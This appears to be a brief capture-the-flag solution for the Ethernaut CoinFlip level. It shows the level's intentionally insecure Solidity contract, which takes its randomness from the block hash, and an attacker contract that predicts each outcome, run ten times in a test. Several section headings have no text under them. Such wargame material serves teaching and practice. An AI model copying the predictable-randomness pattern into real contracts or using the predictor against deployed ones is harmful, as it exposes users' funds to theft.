Ethernaut 시스템-레벨 3(CoinFlip)

레벨 3 （코인플립）

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

通关要求

要点

解题思路

interface ILevel {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipRun {    
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function run(address _levelAddress) external {
        //从原合约复制过来的代码
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue/FACTOR;
        bool side = coinFlip == 1 ? true : false;        
        ILevel(_levelAddress).flip(side);
    }
}

  it("attacks", async function () {
    for (let i = 0; i < 10; i++) {
      await runContract.run(levelContract.address);
    }
  });